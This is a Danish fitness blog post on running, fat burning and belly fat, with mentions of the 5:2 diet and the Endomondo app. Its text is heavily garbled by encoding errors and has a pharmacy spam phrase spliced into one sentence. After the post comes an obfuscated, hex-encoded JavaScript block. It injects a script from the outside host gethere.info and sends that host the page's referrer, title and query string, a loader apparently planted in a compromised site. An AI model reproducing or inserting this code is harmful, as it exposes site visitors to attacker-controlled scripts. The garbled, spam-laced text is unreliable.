LA?b? FedtforbrA�nding? Mavefedt?

Gratis træningsprogrammer m.m.

LA?b? FedtforbrA�nding? Mavefedt?

kombitraening

 

Hvis man kender mig som person, vil man vide at jeg holder utrolig meget af at lA?be. BA?de lange lA?beture og lA?beture pA? tid a�� hvor jeg prA?ver at slA? mine tidligere rekorder. Det er primA�rt for at holde mig i form og selvfA?lgelig for at forbrA�nde fedt.

For at kunne yde det mest optimale for netop din krop vil det vA�re en god ide rent faktisk at vide hvad der sker i kroppen og hvordan det hele foregA?r under trA�ning generelt.A�Jeg undersA?gte det nA�rmere og faldt over en artikel fra Videnskab.dk.

Hvor de forklarer hvad man skal gA?re for at forbrA�nde fedt, pA? den bedste mA?de og hvad der sker i kroppen under trA�ningen.A�Hvis man skal forbrA�nde fedt optimalt skal man trA�ne sA? ens iltoptag maksimalt er 60 procent, det vil betyde at din puls skal vA�re mellem 70-80 procent af din max-puls.

Som enhver anden pige jeg kender, er det mavefedtet som vi gerne vil af med fA?rst. Og med de uendelige mange mavebA?jninger jeg har kA�mpet mig igennem, har jeg nu fundet ud af at det er en lavenergiA?velse som man desvA�rre ikke kommer lang med.

Det er bare pA? med lA?beskoene ud og modtag en masse adrenalin og sA? skal det hele nok komme af sig selv. Studier viser nemlig at fedtet omkring indvoldene er ekstra fA?lsomt overfor adrenalin som betyder at enhver form for adrenalin som produceres, spaltes og frigiver mere mavefedt.

Man kan selvfA?lgelig ogsA? forbrA�nde fedt uden at trA�ne, hvis man bare indtager sA? lidt mad at musklerne ikke fA?r energien de har brug for, fra tarmene, sA? de begynder at tA�re pA? fedtdepoterne. Der vil en kur som fx 5:2 Kuren vA�re en mulighed. Denne kur er desvA�rre ikke noget jeg selv har prA?vet mig frem med endnu, af den grund jeg simpelthen holder for meget af mad og kan ikke holde mig indenfor den anbefalede mA�ngde mad pA? sine faste dage.

Hvis du skal bruge en app til at mit apotek 24 holde A?je med dine lA?beture, gA?ture eller andre former for trA�ning, sA? kan jeg anbefale appa��en Endomondo som er utrolig nem at bruge og ligetil.

 

var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}